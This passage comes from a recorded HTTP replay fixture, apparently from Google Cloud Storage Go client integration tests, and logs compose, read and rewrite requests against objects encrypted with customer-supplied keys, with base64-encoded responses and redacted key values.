N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJUaGUgdGFyZ2V0IG9iamVjdCBpcyBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS4ifX0=" - } - }, - { - "ID": "eea75f5f6c3c7e89", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-3/compose?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "160" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZXN0aW5hdGlvbiI6eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEifSwic291cmNlT2JqZWN0cyI6W3sibmFtZSI6ImN1c3RvbWVyLWVuY3J5cHRpb24ifSx7Im5hbWUiOiJjdXN0b21lci1lbmNyeXB0aW9uLTIifV19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "911" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:39 GMT" - ], - "Etag": [ - "CPDp3szx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uotyvz71ZfU1J_hl3NsDz9ldw92nWlIp9muxpBUsdv0nTyfJEqz-yQFyEwE2UM11wv7tkpLQfffGlKhlx7CVK0S1UYJnS2XQu2P0Uiz5bbamHxE520" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTMvMTU1NjgzNTg3OTg1OTQ0MCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMyIsIm5hbWUiOiJjdXN0b21lci1lbmNyeXB0aW9uLTMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3OTg1OTQ0MCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozOS44NTlaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzkuODU5WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjM5Ljg1OVoiLCJzaXplIjoiMjIiLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi0zP2dlbmVyYXRpb249MTU1NjgzNTg3OTg1OTQ0MCZhbHQ9bWVkaWEiLCJjcmMzMmMiOiI1ajF5cGc9PSIsImNvbXBvbmVudENvdW50IjoyLCJldGFnIjoiQ1BEcDNzengvZUVDRUFFPSIsImN1c3RvbWVyRW5jcnlwdGlvbiI6eyJlbmNyeXB0aW9uQWxnb3JpdGhtIjoiQUVTMjU2Iiwia2V5U2hhMjU2IjoiSCtMbW5YaFJvZUk2VE1XNWJzVjZIeVVrNnB5R2MySU1icVliQVhCY3BzMD0ifX0=" - } - }, - { - "ID": "b19fb82ecf450b51", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/customer-encryption-3", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "277" - ], - "Content-Type": [ - "application/xml; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:40 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:40 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Urcj3TJ6B5h4Q0DT7G_ioI_Icu9iv65m57OlRH6h9mKD9zZZl320H3QD6A7fNd1UPBSGGDZ9I0TG4_lSFa8JgkJQEVRGVRvVQv36b7ArCuGmg0loV0" - ] - }, - "Body": "PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48RXJyb3I+PENvZGU+UmVzb3VyY2VJc0VuY3J5cHRlZFdpdGhDdXN0b21lckVuY3J5cHRpb25LZXk8L0NvZGU+PE1lc3NhZ2U+VGhlIHJlc291cmNlIGlzIGVuY3J5cHRlZCB3aXRoIGEgY3VzdG9tZXIgZW5jcnlwdGlvbiBrZXkuPC9NZXNzYWdlPjxEZXRhaWxzPlRoZSByZXF1ZXN0ZWQgb2JqZWN0IGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LjwvRGV0YWlscz48L0Vycm9yPg==" - } - }, - { - "ID": "1f0a12bd00a88965", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/customer-encryption-3", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "22" - ], - "Content-Type": [ - "application/octet-stream" - ], - "Date": [ - "Thu, 02 May 2019 22:24:40 GMT" - ], - "Etag": [ - "\"-CPDp3szx/eECEAE=\"" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:39 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Component-Count": [ - "2" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:39 GMT" - ], - "X-Goog-Generation": [ - "1556835879859440" - ], - "X-Goog-Hash": [ - "crc32c=5j1ypg==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "22" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur7DoEkjdrkGGrYpsCDbd2Y6c_Mu8sEA7cN_k06l4WjY25UJsijDFWSlSIA9SCi-ouLuI3if4Rh33a5n5vKcN3oSYjzK92eSPVCczEpQdILKFWyQh4" - ] - }, - "Body": "dG9wIHNlY3JldC50b3Agc2VjcmV0Lg==" - } - }, - { - "ID": "f649a81672a92823", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-2/rewriteTo/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-2?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Copy-Source-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Copy-Source-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Copy-Source-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3527" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:40 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrfhqrYGhW8ew5dxbfg_DcMhaJh6k2oY_JqMwPRSDtS3Ef5kljeo8oTONrxRIAP8I0ScqxFCy7okNejkqOeO4Vr1TBZ2mc4MDjwiJA52ERSgZMUyvM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiMTEiLCJvYmplY3RTaXplIjoiMTEiLCJkb25lIjp0cnVlLCJyZXNvdXJjZSI6eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg4MDcxNzUwNiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMiIsIm5hbWUiOiJjdXN0b21lci1lbmNyeXB0aW9uLTIiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MDcxNzUwNiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0MC43MTdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NDAuNzE3WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQwLjcxN1oiLCJzaXplIjoiMTEiLCJtZDVIYXNoIjoieHdXTkZhMFZkWFBtbEF3cmxjQUpjZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMj9nZW5lcmF0aW9uPTE1NTY4MzU4ODA3MTc1MDYmYWx0PW1lZGlhIiwiY29udGVudExhbmd1YWdlIjoiZW4iLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg4MDcxNzUwNi9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uLTIvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24tMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODgwNzE3NTA2IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNNS1prODN4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg4MDcxNzUwNi9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi0yL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbi0yIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODA3MTc1MDYiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTUtaazgzeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi0yLzE1NTY4MzU4ODA3MTc1MDYvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24tMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODgwNzE3NTA2IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNNS1prODN4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg4MDcxNzUwNi91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi0yL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbi0yIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODA3MTc1MDYiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTUtaazgzeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6InIwTkdyZz09IiwiZXRhZyI6IkNNS1prODN4L2VFQ0VBRT0ifX0=" - } - }, - { - "ID": "61763fd57e906039", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-3/compose?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "129" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZXN0aW5hdGlvbiI6eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEifSwic291cmNlT2JqZWN0cyI6W3sibmFtZSI6ImN1c3RvbWVyLWVuY3J5cHRpb24tMiJ9XX0K" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "13444" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:41 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur7TRBQyfrSgWnsPL0CVfQCd5s_QJN9pRUHB1YttIoObh1YkzCEtuRxrwyKYtccpyodUCMmTVRyD6d0oDy-c2_Q7GK-_6OC5h_EF_1e9-t6E8VZCQ8" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlc291cmNlTm90RW5jcnlwdGVkV2l0aEN1c3RvbWVyRW5jcnlwdGlvbktleSIsIm1lc3NhZ2UiOiJUaGUgdGFyZ2V0IG9iamVjdCBpcyBub3QgZW5jcnlwdGVkIGJ5IGEgY3VzdG9tZXItc3VwcGxpZWQgZW5jcnlwdGlvbiBrZXkuIiwiZXh0ZW5kZWRIZWxwIjoiaHR0cHM6Ly9jbG91ZC5nb29nbGUuY29tL3N0b3JhZ2UvZG9jcy9lbmNyeXB0aW9uI2N1c3RvbWVyLXN1cHBsaWVkX2VuY3J5cHRpb25fa2V5cyIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpSRVNPVVJDRV9OT1RfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVk6IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIpIHVzIG5vdCBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3J